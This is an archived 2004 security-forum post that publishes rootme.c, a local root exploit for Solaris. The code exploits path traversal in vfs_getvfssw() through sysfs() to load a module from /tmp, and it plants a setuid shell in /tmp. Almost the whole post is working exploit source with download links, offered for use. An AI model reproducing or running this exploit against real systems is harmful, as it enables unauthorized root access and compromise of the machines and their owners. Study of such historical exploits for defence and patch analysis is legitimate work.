Solaris Vfs_getvfssw() Loadable Kernel Module

Full Version: Solaris Vfs_getvfssw() Loadable Kernel Module

GovernmentSecurity.org > The Archives > Exploit Articles

GaLiaRePt

Apr 7 2004, 09:24 PM

Solaris vfs_getvfssw() Loadable Kernel Module Path Traversal Exploit
Date: 2004-04-07

Author : Sam <Sam@0x557.org>
Download : http://www.security-corporation.com/downlo...xploit/rootme.c
http://www.security-corporation.com/downlo...loit/rootme.tar

CODE

/* rootme.c - Solaris vfs_getvfssw() Loadable Kernel Module Path Traversal Exploit
*
* Copyright (c) SST 2004 All rights reserved.
*
* Public version
*
* code by Sam and 2004/04/07
* <Sam@venustech.com.cn>
* <Sam@0x557.org>
*
* bug find by Dave Aitel
* http://www.immunitysec.com/downloads/solaris_kernel_vfs.sxw.pdf
*
*
* some thanks/greets to:
* sst members, Xfocus Guys, my gf :I
* and everyone else who's KNOW SST;P
* http://0x557.org
*/
#include <stdio.h>
#include <sys/fstyp.h>
#include <sys/fsid.h>
#include <sys/types.h>
#include <unistd.h>
int do_root_me ()
{
if (mkdir("/tmp/sparcv9", 0777) < 0) {
perror ("mkdir");
return -1;
}

system ("cp ./mod /tmp/sparcv9/");

sysfs (GETFSIND, "../../tmp/mod");

return 0;
}
int make_shell ()
{
system ("gcc -o sh sh.c;cp ./sh /tmp/sh;chmod 4755 /tmp/sh");
return 0;
}

int main()
{
pid_t child;

make_shell ();
child = fork ();
if (child == -1)
printf ("Unable to fork\n");
if (child == 0)
do_root_me();

system("/usr/bin/rm -rf /tmp/sparcv9");
printf ("press anykey ");
getchar ();
execl ("/tmp/sh", "/tmp/sh", 0);

return 0;
}

This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.